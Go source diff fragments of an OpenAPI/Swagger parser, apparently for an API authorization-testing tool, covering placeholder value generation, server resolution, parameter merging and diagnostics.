// the schema at all, so an array named "photoUrls" comes out as a bare
|
||||
// URL string where the document declares a list — and a server that
|
||||
// validates at all answers 400, which tells the operator nothing about
|
||||
// whether they were authorized.
|
||||
if v, ok := placeholderForName(name, p); ok {
|
||||
if isStringish(child) {
|
||||
obj[name] = v
|
||||
continue
|
||||
}
|
||||
// A list named for URLs is a list OF URLs: apply the hint to the
|
||||
// element so both the shape and the value are right.
|
||||
if child != nil && child.Type == "array" && isStringish(child.Items) {
|
||||
obj[name] = []any{v}
|
||||
continue
|
||||
}
|
||||
}
|
||||
obj[name] = generateExample(child, p)
|
||||
}
|
||||
if len(obj) == 0 && node.AdditionalProperties != nil {
|
||||
obj["additionalProp1"] = generateExample(node.AdditionalProperties, p)
|
||||
}
|
||||
return obj
|
||||
case "array":
|
||||
if node.Items != nil {
|
||||
return []any{generateExample(node.Items, p)}
|
||||
}
|
||||
return []any{}
|
||||
case "string":
|
||||
return stringPlaceholder(node, p)
|
||||
case "integer", "number":
|
||||
return 1
|
||||
case "boolean":
|
||||
return true
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// isStringish reports whether a node holds a plain string, which is the only
|
||||
// shape a name-based placeholder can legally replace.
|
||||
func isStringish(node *schemaNode) bool {
|
||||
if node == nil {
|
||||
return true
|
||||
}
|
||||
return node.Type == "string" || node.Type == ""
|
||||
}
|
||||
|
||||
// placeholderForName applies sj's property-name heuristics. A property whose
|
||||
// name mentions a date, a URL or an email gets a value of that shape, because a
|
||||
// server that validates the field at all will reject "bishopfox" and the
|
||||
// resulting 400 tells the operator nothing about whether they are authorized.
|
||||
//
|
||||
// Matching sj, this runs *before* recursing, so it overrides the property's own
|
||||
// type. It does not override an explicit example or enum, because those are
|
||||
// checked first by the caller only for the property's own node — so the order
|
||||
// here is deliberate and differs from sj, which applies the heuristic to the
|
||||
// property name before ever looking at the property's schema.
|
||||
func placeholderForName(name string, p Placeholders) (string, bool) {
|
||||
lower := strings.ToLower(name)
|
||||
switch {
|
||||
case strings.Contains(lower, "date"):
|
||||
return p.Date, true
|
||||
case strings.Contains(lower, "email"):
|
||||
return p.Email, true
|
||||
case strings.Contains(lower, "url"):
|
||||
return p.URL, true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// stringPlaceholder picks a value for a typed string, preferring a format-shaped
|
||||
// one. sj returns the test string for every string regardless of format, so a
|
||||
// field declared as date-time receives "bishopfox".
|
||||
func stringPlaceholder(node *schemaNode, p Placeholders) string {
|
||||
switch node.Format {
|
||||
case "date":
|
||||
return p.Date
|
||||
case "date-time":
|
||||
return p.Date + "T00:00:00Z"
|
||||
case "email", "idn-email":
|
||||
return p.Email
|
||||
case "uri", "url", "uri-reference":
|
||||
return p.URL
|
||||
case "uuid":
|
||||
// Deliberately not the test string: a non-UUID here is rejected by format
|
||||
// validation before it reaches any authorization decision, so it tests the
|
||||
// validator rather than the endpoint.
|
||||
return "00000000-0000-4000-8000-000000000000"
|
||||
case "byte":
|
||||
// The field declares base64-encoded bytes, so the test string has to be
|
||||
// encoded to survive the server's decode. It still tracks p.String: an
|
||||
// operator who changed the marker needs it recognizable everywhere.
|
||||
return base64.StdEncoding.EncodeToString([]byte(p.String))
|
||||
case "password":
|
||||
return p.String
|
||||
}
|
||||
return p.String
|
||||
}
|
||||
|
||||
// scalarString renders a generated value for a place that takes one string: a
|
||||
// path, query, header or cookie parameter.
|
||||
func scalarString(v any) string {
|
||||
switch t := v.(type) {
|
||||
case nil:
|
||||
return ""
|
||||
case string:
|
||||
return t
|
||||
case bool:
|
||||
return strconv.FormatBool(t)
|
||||
case int:
|
||||
return strconv.Itoa(t)
|
||||
case int64:
|
||||
return strconv.FormatInt(t, 10)
|
||||
case float64:
|
||||
// A JSON number decodes to float64; emit an integral value without the
|
||||
// ".0" a naive format would add, since it usually stands for an id.
|
||||
if t == float64(int64(t)) {
|
||||
return strconv.FormatInt(int64(t), 10)
|
||||
}
|
||||
return strconv.FormatFloat(t, 'f', -1, 64)
|
||||
case []any:
|
||||
parts := make([]string, 0, len(t))
|
||||
for _, item := range t {
|
||||
parts = append(parts, scalarString(item))
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func sortedKeys[V any](m map[string]V) []string {
|
||||
out := make([]string, 0, len(m))
|
||||
for k := range m {
|
||||
out = append(out, k)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
func itoa(i int) string { return strconv.Itoa(i) }
|
||||
@@ -0,0 +1,797 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// httpMethods are the path-item members that name an operation.
|
||||
//
|
||||
// This whitelist is why a path-level "parameters" member cannot be mistaken for
|
||||
// a method. sj derives its method list from the path item's keys and filters
|
||||
// only "delete" and "patch", so a path that declares shared parameters — a very
|
||||
// common shape — yields a bogus operation with the method PARAMETERS, and the
|
||||
// shared parameters are never applied to the real operations either.
|
||||
var httpMethods = []string{"get", "put", "post", "delete", "options", "head", "patch", "trace"}
|
||||
|
||||
func isHTTPMethod(s string) bool {
|
||||
for _, m := range httpMethods {
|
||||
if s == m {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ParseOpenAPI parses a Swagger 2.0 or OpenAPI 3.x document.
|
||||
//
|
||||
// An error means the input is not a document at all. Everything survivable is a
|
||||
// Diagnostic on the returned Spec — see the package doc.
|
||||
func ParseOpenAPI(data []byte, opts Options) (*Spec, error) {
|
||||
if unwrapped, ok := UnwrapJSSpec(data); ok {
|
||||
data = unwrapped
|
||||
}
|
||||
|
||||
doc, diags, err := decodeDocument(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
sum := sha256.Sum256(data)
|
||||
spec := &Spec{
|
||||
ID: hex.EncodeToString(sum[:8]),
|
||||
SourceURL: opts.SourceURL,
|
||||
SizeBytes: len(data),
|
||||
Diagnostics: diags,
|
||||
}
|
||||
|
||||
switch {
|
||||
case strings.HasPrefix(stringMember(doc, "openapi"), "3"):
|
||||
spec.Format = FormatOpenAPI3
|
||||
spec.Version = stringMember(doc, "openapi")
|
||||
case strings.HasPrefix(stringMember(doc, "swagger"), "2"):
|
||||
spec.Format = FormatSwagger2
|
||||
spec.Version = stringMember(doc, "swagger")
|
||||
default:
|
||||
return nil, fmt.Errorf("not an OpenAPI or Swagger document: no recognized \"openapi\" or \"swagger\" version member")
|
||||
}
|
||||
|
||||
if info, ok := doc["info"].(map[string]any); ok {
|
||||
spec.Title = stringMember(info, "title")
|
||||
spec.Description = stringMember(info, "description")
|
||||
spec.APIVersion = stringMember(info, "version")
|
||||
}
|
||||
if spec.Title == "" {
|
||||
spec.Title = "Untitled API"
|
||||
}
|
||||
|
||||
spec.Servers = parseServers(doc, spec.Format, opts.SourceURL, &spec.Diagnostics)
|
||||
spec.Auth = parseAuthSchemes(doc, spec.Format)
|
||||
spec.Security = parseSecurity(doc["security"])
|
||||
|
||||
p := opts.Placeholders.withDefaults()
|
||||
spec.Placeholders = p
|
||||
spec.Operations = parseOperations(doc, p, opts.DestructiveWhitelist, &spec.Diagnostics)
|
||||
|
||||
spec.normalize()
|
||||
return spec, nil
|
||||
}
|
||||
|
||||
// parseServers reads both spellings.
|
||||
//
|
||||
// Every declared server is kept. sj takes servers[0] and dies telling the
|
||||
// operator to pass -T when there is more than one; here the ambiguity is handed
|
||||
// to the operator as a choice, because picking silently is how a scan ends up
|
||||
// aimed at a host nobody read.
|
||||
func parseServers(doc map[string]any, format Format, sourceURL string, diags *[]Diagnostic) []Server {
|
||||
var out []Server
|
||||
|
||||
if format == FormatSwagger2 {
|
||||
host := stringMember(doc, "host")
|
||||
basePath := normalizeBasePath(stringMember(doc, "basePath"))
|
||||
scheme := ""
|
||||
if schemes, ok := doc["schemes"].([]any); ok && len(schemes) > 0 {
|
||||
// Prefer https when the document offers it: a scan that silently
|
||||
// downgrades to http is one that puts the operator's credentials on
|
||||
// the wire in clear.
|
||||
for _, s := range schemes {
|
||||
if str, ok := s.(string); ok && str == "https" {
|
||||
scheme = "https"
|
||||
break
|
||||
}
|
||||
}
|
||||
if scheme == "" {
|
||||
if str, ok := schemes[0].(string); ok {
|
||||
scheme = str
|
||||
}
|
||||
}
|
||||
}
|
||||
if host != "" {
|
||||
if scheme == "" {
|
||||
scheme = schemeFromSource(sourceURL, "https")
|
||||
}
|
||||
out = append(out, Server{
|
||||
URL: scheme + "://" + host + basePath, Scheme: scheme, Host: host, BasePath: basePath,
|
||||
})
|
||||
} else if base := serverFromSource(sourceURL, basePath); base != nil {
|
||||
out = append(out, *base)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
out = append(out, parseServerEntries(doc["servers"], sourceURL, "/servers", diags)...)
|
||||
|
||||
if len(out) == 0 {
|
||||
if base := serverFromSource(sourceURL, ""); base != nil {
|
||||
out = append(out, *base)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// parseServerList reads a servers member that is not the document's own — a path
|
||||
// item's or an operation's. It resolves nothing against a source URL, because an
|
||||
// override only makes sense as an absolute address; a relative one would mean
|
||||
// the same thing as the document default and is reported instead.
|
||||
func parseServerList(v any, pointer string, diags *[]Diagnostic) []Server {
|
||||
return parseServerEntries(v, "", pointer, diags)
|
||||
}
|
||||
|
||||
// parseServerEntries turns an OpenAPI 3 servers array into Servers.
|
||||
func parseServerEntries(v any, sourceURL, pointer string, diags *[]Diagnostic) []Server {
|
||||
servers, _ := v.([]any)
|
||||
var out []Server
|
||||
for _, entry := range servers {
|
||||
m, ok := entry.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
raw := stringMember(m, "url")
|
||||
if raw == "" {
|
||||
continue
|
||||
}
|
||||
vars := serverVars(m)
|
||||
resolved := substituteServerVars(raw, vars)
|
||||
|
||||
srv := Server{URL: raw, Description: stringMember(m, "description"), Vars: vars}
|
||||
if strings.Contains(resolved, "://") {
|
||||
u, err := url.Parse(resolved)
|
||||
if err != nil || u.Host == "" {
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagMalformed, Ref: raw, Pointer: pointer,
|
||||
Detail: "server URL could not be parsed",
|
||||
})
|
||||
continue
|
||||
}
|
||||
srv.Scheme, srv.Host, srv.BasePath = u.Scheme, u.Host, normalizeBasePath(u.Path)
|
||||
} else {
|
||||
// A relative server URL is a base path against wherever the document
|
||||
// was served from. sj dies here unless -T was passed.
|
||||
srv.BasePath = normalizeBasePath(resolved)
|
||||
if base := serverFromSource(sourceURL, srv.BasePath); base != nil {
|
||||
srv.Scheme, srv.Host = base.Scheme, base.Host
|
||||
}
|
||||
if srv.Host == "" && sourceURL == "" && pointer != "/servers" {
|
||||
// An override with no host resolves to the document default, so it
|
||||
// is not an override at all. Say so rather than shipping a server
|
||||
// that silently cannot be dialed.
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagUnsupported, Ref: raw, Pointer: pointer,
|
||||
Detail: "relative server override ignored; it names no host of its own",
|
||||
})
|
||||
continue
|
||||
}
|
||||
}
|
||||
out = append(out, srv)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func serverVars(m map[string]any) map[string]string {
|
||||
raw, ok := m["variables"].(map[string]any)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
out := map[string]string{}
|
||||
for name, v := range raw {
|
||||
vm, ok := v.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
// scalarString, not stringMember: a default is routinely a number
|
||||
// ({port}), which a string assertion reads as absent — leaving "{port}"
|
||||
// in the URL, which url.Parse rejects, dropping the only server.
|
||||
if def := scalarString(vm["default"]); def != "" {
|
||||
out[name] = def
|
||||
continue
|
||||
}
|
||||
if enum, ok := vm["enum"].([]any); ok && len(enum) > 0 {
|
||||
out[name] = scalarString(enum[0])
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func substituteServerVars(raw string, vars map[string]string) string {
|
||||
for name, val := range vars {
|
||||
raw = strings.ReplaceAll(raw, "{"+name+"}", val)
|
||||
}
|
||||
return raw
|
||||
}
|
||||
|
||||
// serverFromSource derives an origin from wherever the document was fetched.
|
||||
func serverFromSource(sourceURL, basePath string) *Server {
|
||||
if sourceURL == "" {
|
||||
return nil
|
||||
}
|
||||
u, err := url.Parse(sourceURL)
|
||||
if err != nil || u.Host == "" {
|
||||
return nil
|
||||
}
|
||||
scheme := u.Scheme
|
||||
if scheme == "" {
|
||||
scheme = "https"
|
||||
}
|
||||
return &Server{
|
||||
URL: scheme + "://" + u.Host + basePath, Scheme: scheme, Host: u.Host, BasePath: basePath,
|
||||
Description: "derived from where the document was served",
|
||||
}
|
||||
}
|
||||
|
||||
func schemeFromSource(sourceURL, fallback string) string {
|
||||
if u, err := url.Parse(sourceURL); err == nil && u.Scheme != "" {
|
||||
return u.Scheme
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
// normalizeBasePath trims to "" or "/segment", never a trailing slash.
|
||||
func normalizeBasePath(p string) string {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || p == "/" {
|
||||
return ""
|
||||
}
|
||||
if !strings.HasPrefix(p, "/") {
|
||||
p = "/" + p
|
||||
}
|
||||
return strings.TrimRight(p, "/")
|
||||
}
|
||||
|
||||
// parseOperations walks paths x methods.
|
||||
//
|
||||
// Paths and methods are both visited in sorted order so a document always yields
|
||||
// the same operation list, which is what lets two runs be compared.
|
||||
func parseOperations(doc map[string]any, p Placeholders, whitelist []string, diags *[]Diagnostic) []Operation {
|
||||
paths, ok := doc["paths"].(map[string]any)
|
||||
if !ok {
|
||||
*diags = append(*diags, Diagnostic{Kind: DiagMalformed, Pointer: "/paths", Detail: "document declares no paths"})
|
||||
return nil
|
||||
}
|
||||
|
||||
var out []Operation
|
||||
truncated := false
|
||||
|
||||
// seenIDs uniquifies operation ids. A document is not supposed to repeat an
|
||||
// operationId, but code generators emit duplicates routinely, and every
|
||||
// lookup downstream — the draft the operator is editing, the checkbox set,
|
||||
// and both server-side resolvers — keys on it and takes the first match. A
|
||||
// collision there does not merely confuse the tree; it renders and sends the
|
||||
// wrong operation's bytes.
|
||||
seenIDs := map[string]int{}
|
||||
|
||||
for _, path := range sortedKeys(paths) {
|
||||
item, ok := paths[path].(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
// A path item may itself be a $ref.
|
||||
if ref, ok := item["$ref"].(string); ok && ref != "" {
|
||||
target, found := resolvePointer(doc, ref)
|
||||
if !found {
|
||||
kind := DiagUnresolvedRef
|
||||
if !strings.HasPrefix(ref, "#") {
|
||||
kind = DiagExternalRef
|
||||
}
|
||||
*diags = append(*diags, Diagnostic{Kind: kind, Ref: ref, Pointer: "/paths/" + escapePointer(path)})
|
||||
continue
|
||||
}
|
||||
item = target
|
||||
}
|
||||
|
||||
// Path-level parameters apply to every operation on the path, and an
|
||||
// operation-level parameter of the same name+in overrides one.
|
||||
sharedRaw, _ := item["parameters"].([]any)
|
||||
// A path item may also override the server for every operation on it.
|
||||
sharedServers := parseServerList(item["servers"], "/paths/"+escapePointer(path), diags)
|
||||
|
||||
for _, method := range sortedKeys(item) {
|
||||
if !isHTTPMethod(strings.ToLower(method)) {
|
||||
continue
|
||||
}
|
||||
opMap, ok := item[method].(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if len(out) >= MaxOperations {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
op := parseOperation(doc, path, strings.ToUpper(method), opMap, sharedRaw, p, whitelist, diags)
|
||||
if len(op.Servers) == 0 {
|
||||
op.Servers = sharedServers
|
||||
}
|
||||
op.ID = uniqueID(op.ID, seenIDs, &op, diags)
|
||||
out = append(out, op)
|
||||
}
|
||||
if truncated {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if truncated {
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagTruncated, Pointer: "/paths",
|
||||
Detail: fmt.Sprintf("stopped after %d operations", MaxOperations),
|
||||
})
|
||||
}
|
||||
if len(out) == 0 {
|
||||
// Silence here would be worse than the empty list: the operator sees a
|
||||
// document that loaded cleanly and lists nothing, with no reason given.
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagMalformed, Pointer: "/paths",
|
||||
Detail: "the document declares no operations",
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// uniqueID makes an operation id unique within the document, reporting any
|
||||
// collision it had to resolve.
|
||||
func uniqueID(id string, seen map[string]int, op *Operation, diags *[]Diagnostic) string {
|
||||
n, clash := seen[id]
|
||||
seen[id] = n + 1
|
||||
if !clash {
|
||||
return id
|
||||
}
|
||||
unique := fmt.Sprintf("%s#%d", id, n)
|
||||
d := Diagnostic{
|
||||
Kind: DiagDuplicateKey, Ref: id,
|
||||
Pointer: "/paths/" + escapePointer(op.Path) + "/" + strings.ToLower(op.Method),
|
||||
Detail: "duplicate operationId; this one is addressed as " + unique,
|
||||
}
|
||||
*diags = append(*diags, d)
|
||||
op.Diagnostics = append(op.Diagnostics, d)
|
||||
return unique
|
||||
}
|
||||
|
||||
func parseOperation(
|
||||
doc map[string]any, path, method string, opMap map[string]any,
|
||||
sharedParams []any, p Placeholders, whitelist []string, specDiags *[]Diagnostic,
|
||||
) Operation {
|
||||
pointer := "/paths/" + escapePointer(path) + "/" + strings.ToLower(method)
|
||||
|
||||
op := Operation{
|
||||
Method: method,
|
||||
Path: path,
|
||||
Summary: stringMember(opMap, "summary"),
|
||||
Description: stringMember(opMap, "description"),
|
||||
Deprecated: boolMember(opMap, "deprecated"),
|
||||
Responses: map[string]string{},
|
||||
}
|
||||
op.ID = operationID(opMap, method, path)
|
||||
op.Tags = stringSlice(opMap["tags"])
|
||||
op.Servers = parseServerList(opMap["servers"], pointer+"/servers", specDiags)
|
||||
|
||||
if sec, ok := opMap["security"]; ok {
|
||||
// A present-but-empty security member is an explicit opt out of
|
||||
// authentication, which is not the same as inheriting the document's.
|
||||
op.Security = parseSecurity(sec)
|
||||
if op.Security == nil {
|
||||
op.Security = []SecurityRequirement{}
|
||||
}
|
||||
}
|
||||
|
||||
if resp, ok := opMap["responses"].(map[string]any); ok {
|
||||
for _, code := range sortedKeys(resp) {
|
||||
m, ok := resp[code].(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
// Keyed by the document's own spelling. sj stores these under an int
|
||||
// key and looks them up with one too, but builds the map from string
|
||||
// keys, so the description never resolves.
|
||||
op.Responses[code] = stringMember(m, "description")
|
||||
}
|
||||
}
|
||||
|
||||
pathPointer := "/paths/" + escapePointer(path)
|
||||
merged := mergeParams(doc, sharedParams, opMap["parameters"], pathPointer, pointer)
|
||||
opDiags := &op.Diagnostics
|
||||
for _, mp := range merged {
|
||||
m, ok := mp.raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
m = derefParam(doc, m, mp.pointer, opDiags)
|
||||
if m == nil {
|
||||
continue
|
||||
}
|
||||
parseParam(doc, m, mp.pointer, p, &op, opDiags)
|
||||
}
|
||||
|
||||
parseBodies(doc, opMap, pointer, p, &op, opDiags)
|
||||
|
||||
op.Destructive, op.DestructiveReasons = Classify(method, path, op.ID, op.Summary, whitelist)
|
||||
|
||||
*specDiags = append(*specDiags, op.Diagnostics...)
|
||||
return op
|
||||
}
|
||||
|
||||
// mergedParam is one parameter plus the pointer to where it was actually
|
||||
// written. The pointer travels with it because a path-level parameter and an
|
||||
// operation-level one end up in the same list: indexing that list would make
|
||||
// every diagnostic on a shared parameter name a location it does not occupy,
|
||||
// and pointing at the wrong place is worse than saying nothing.
|
||||
type mergedParam struct {
|
||||
raw any
|
||||
pointer string
|
||||
}
|
||||
|
||||
// mergeParams overlays operation parameters onto path-level ones, keyed by
|
||||
// name+in as the specification requires.
|
||||
func mergeParams(doc map[string]any, shared, own any, pathPointer, opPointer string) []mergedParam {
|
||||
sharedList, _ := shared.([]any)
|
||||
ownList, _ := own.([]any)
|
||||
|
||||
ownMerged := make([]mergedParam, 0, len(ownList))
|
||||
for i, raw := range ownList {
|
||||
ownMerged = append(ownMerged, mergedParam{raw, fmt.Sprintf("%s/parameters/%d", opPointer, i)})
|
||||
}
|
||||
if len(sharedList) == 0 {
|
||||
return ownMerged
|
||||
}
|
||||
|
||||
taken := map[string]bool{}
|
||||
for _, raw := range ownList {
|
||||
if m, ok := raw.(map[string]any); ok {
|
||||
m = derefParamQuiet(doc, m)
|
||||
taken[stringMember(m, "name")+"\x00"+stringMember(m, "in")] = true
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]mergedParam, 0, len(sharedList)+len(ownList))
|
||||
for i, raw := range sharedList {
|
||||
m, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
d := derefParamQuiet(doc, m)
|
||||
if taken[stringMember(d, "name")+"\x00"+stringMember(d, "in")] {
|
||||
continue
|
||||
}
|
||||
out = append(out, mergedParam{raw, fmt.Sprintf("%s/parameters/%d", pathPointer, i)})
|
||||
}
|
||||
return append(out, ownMerged...)
|
||||
}
|
||||
|
||||
func derefParam(doc map[string]any, m map[string]any, pointer string, diags *[]Diagnostic) map[string]any {
|
||||
ref, ok := m["$ref"].(string)
|
||||
if !ok || ref == "" {
|
||||
return m
|
||||
}
|
||||
if !strings.HasPrefix(ref, "#") {
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagExternalRef, Ref: ref, Pointer: pointer,
|
||||
Detail: "external references are not resolved; only local \"#/...\" pointers are",
|
||||
})
|
||||
return nil
|
||||
}
|
||||
target, found := resolvePointer(doc, ref)
|
||||
if !found {
|
||||
*diags = append(*diags, Diagnostic{Kind: DiagUnresolvedRef, Ref: ref, Pointer: pointer})
|
||||
return nil
|
||||
}
|
||||
return target
|
||||
}
|
||||
|
||||
// firstMediaType picks one entry from a content map, in sorted order so the
|
||||
// choice is stable across runs.
|
||||
func firstMediaType(v any) (string, map[string]any, bool) {
|
||||
content, ok := v.(map[string]any)
|
||||
if !ok || len(content) == 0 {
|
||||
return "", nil, false
|
||||
}
|
||||
for _, ct := range sortedKeys(content) {
|
||||
if m, ok := content[ct].(map[string]any); ok {
|
||||
return ct, m, true
|
||||
}
|
||||
}
|
||||
return "", nil, false
|
||||
}
|
||||
|
||||
// encodedMediaValue renders a parameter whose value is a whole media type.
|
||||
func encodedMediaValue(contentType string, node *schemaNode, p Placeholders) string {
|
||||
body, err := encodeBody(contentType, node, p)
|
||||
if err != nil {
|
||||
return scalarString(generateExample(node, p))
|
||||
}
|
||||
return string(body.Content)
|
||||
}
|
||||
|
||||
func derefParamQuiet(doc map[string]any, m map[string]any) map[string]any {
|
||||
if ref, ok := m["$ref"].(string); ok && strings.HasPrefix(ref, "#") {
|
||||
if target, found := resolvePointer(doc, ref); found {
|
||||
return target
|
||||
}
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// parseParam turns one parameter into zero or more Params, or into a Body for
|
||||
// the Swagger 2 "in: body" and "in: formData" forms.
|
||||
func parseParam(
|
||||
doc map[string]any, m map[string]any, pointer string,
|
||||
p Placeholders, op *Operation, diags *[]Diagnostic,
|
||||
) {
|
||||
name := stringMember(m, "name")
|
||||
in := strings.ToLower(stringMember(m, "in"))
|
||||
if name == "" && in != "body" {
|
||||
return
|
||||
}
|
||||
|
||||
switch in {
|
||||
case "body":
|
||||
// Swagger 2 carries the request body as a parameter.
|
||||
schema, _ := m["schema"].(map[string]any)
|
||||
node := newExpander(doc, diags).expand(schema, pointer+"/schema")
|
||||
body, err := encodeBody("application/json", node, p)
|
||||
if err == nil {
|
||||
op.Bodies = append(op.Bodies, body)
|
||||
op.BodyRequired = op.BodyRequired || boolMember(m, "required")
|
||||
}
|
||||
return
|
||||
case "formdata":
|
||||
appendFormField(op, name, paramDefault(doc, m, pointer, p, diags), boolMember(m, "required"))
|
||||
return
|
||||
}
|
||||
|
||||
pin := ParamIn(in)
|
||||
switch pin {
|
||||
case InPath, InQuery, InHeader, InCookie:
|
||||
default:
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagUnsupported, Ref: in, Pointer: pointer,
|
||||
Detail: "parameter location is not one of path, query, header, cookie",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
base := Param{
|
||||
Name: name,
|
||||
In: pin,
|
||||
Required: boolMember(m, "required") || pin == InPath,
|
||||
Deprecated: boolMember(m, "deprecated"),
|
||||
Description: stringMember(m, "description"),
|
||||
Style: stringMember(m, "style"),
|
||||
}
|
||||
// The default style depends on where the parameter lives: form for query and
|
||||
// cookie, simple for path and header. Treating an unset style as form
|
||||
// everywhere would be wrong for half of them — and flagging the spec's own
|
||||
// default as unsupported is how a corpus run produced 347 diagnostics against
|
||||
// Stripe for parameters that were serialized perfectly correctly.
|
||||
if base.Style == "" {
|
||||
base.Style = defaultStyleFor(pin)
|
||||
}
|
||||
if ex, ok := m["explode"].(bool); ok {
|
||||
base.Explode = ex
|
||||
} else {
|
||||
// form defaults to explode:true; every other style defaults to false.
|
||||
base.Explode = base.Style == StyleForm
|
||||
}
|
||||
switch base.Style {
|
||||
case StyleForm, StyleSimple, StyleDeepObject, StyleSpaceDelimited, StylePipeDelimited:
|
||||
default:
|
||||
// matrix and label are path-only and genuinely unhandled.
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagUnsupported, Ref: base.Style, Pointer: pointer,
|
||||
Detail: "parameter style is not supported; it is serialized as " + defaultStyleFor(pin),
|
||||
})
|
||||
base.Style = defaultStyleFor(pin)
|
||||
}
|
||||
|
||||
schema, hasSchema := m["schema"].(map[string]any)
|
||||
if !hasSchema {
|
||||
// OpenAPI 3 lets a parameter carry `content` instead of `schema`, which is
|
||||
// the documented way to send a structured value in a query or header. It
|
||||
// has no inline type, so falling through to the Swagger 2 branch below
|
||||
// would silently yield an untyped parameter valued "1" and discard the
|
||||
// schema the document actually supplied.
|
||||
if ct, mediaType, ok := firstMediaType(m["content"]); ok {
|
||||
if inner, ok := mediaType["schema"].(map[string]any); ok {
|
||||
node := newExpander(doc, diags).expand(inner, pointer+"/content/"+escapePointer(ct)+"/schema")
|
||||
base.Type = node.Type
|
||||
base.Format = node.Format
|
||||
base.Enum = stringEnum(node.Enum)
|
||||
base.ContentType = ct
|
||||
// A structured value in a parameter is serialized as the media type,
|
||||
// not exploded, so it goes on the wire as one opaque string.
|
||||
base.Default = encodedMediaValue(ct, node, p)
|
||||
op.Params = append(op.Params, base)
|
||||
return
|
||||
}
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagUnsupported, Ref: ct, Pointer: pointer + "/content",
|
||||
Detail: "parameter declares content with no schema; a placeholder was generated",
|
||||
})
|
||||
}
|
||||
|
||||
// Swagger 2 spells the type inline on the parameter.
|
||||
base.Type = stringMember(m, "type")
|
||||
base.Format = stringMember(m, "format")
|
||||
base.Enum = stringEnum(m["enum"])
|
||||
base.Default = inlineDefault(m, base, p)
|
||||
op.Params = append(op.Params, base)
|
||||
return
|
||||
}
|
||||
|
||||
node := newExpander(doc, diags).expand(schema, pointer+"/schema")
|
||||
base.Type = node.Type
|
||||
base.Format = node.Format
|
||||
base.Enum = stringEnum(node.Enum)
|
||||
|
||||
// An object-schema query parameter is sent as one parameter per property,
|
||||
// so it is presented that way too — otherwise the operator edits a shape
|
||||
// that never goes on the wire.
|
||||
if pin == InQuery && node.Type == "object" && len(node.PropertyOrder) > 0 {
|
||||
for _, prop := range node.PropertyOrder {
|
||||
child := node.Properties[prop]
|
||||
op.Params = append(op.Params, Param{
|
||||
Name: prop,
|
||||
In: InQuery,
|
||||
Required: node.Required[prop],
|
||||
Description: base.Description,
|
||||
Type: child.Type,
|
||||
Format: child.Format,
|
||||
Enum: stringEnum(child.Enum),
|
||||
Default: scalarString(generateExample(child, p)),
|
||||
ExplodedFrom: name,
|
||||
Style: base.Style,
|
||||
Explode: base.Explode,
|
||||
})
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
base.Default = scalarString(generateExample(node, p))
|
||||
if base.Default == "" && base.Type == "string" {
|
||||
base.Default = versionAwareString(name, p)
|
||||
}
|
||||
op.Params = append(op.Params, base)
|
||||
}
|
||||
|
||||
// inlineDefault picks a value for a Swagger 2 inline-typed parameter.
|
||||
func inlineDefault(m map[string]any, base Param, p Placeholders) string {
|
||||
if def, ok := m["default"]; ok && def != nil {
|
||||
return scalarString(def)
|
||||
}
|
||||
if ex, ok := m["example"]; ok && ex != nil {
|
||||
return scalarString(ex)
|
||||
}
|
||||
if len(base.Enum) > 0 {
|
||||
return base.Enum[0]
|
||||
}
|
||||
switch base.Type {
|
||||
case "string":
|
||||
if v, ok := placeholderForName(base.Name, p); ok {
|
||||
return v
|
||||
}
|
||||
return versionAwareString(base.Name, p)
|
||||
case "integer", "number":
|
||||
return "1"
|
||||
case "boolean":
|
||||
return "true"
|
||||
case "array":
|
||||
// A Swagger 2 array parameter carries its element schema inline, and that
|
||||
// is where an enum or a default lives. sj looks only at the element type
|
||||
// and otherwise emits the test string, so petstore's findByStatus — whose
|
||||
// items declare enum [available, pending, sold] and default "available" —
|
||||
// is queried for a status of "bishopfox".
|
||||
items, ok := m["items"].(map[string]any)
|
||||
if !ok {
|
||||
return p.String
|
||||
}
|
||||
if def, ok := items["default"]; ok && def != nil {
|
||||
return scalarString(def)
|
||||
}
|
||||
if enum := stringEnum(items["enum"]); len(enum) > 0 {
|
||||
return enum[0]
|
||||
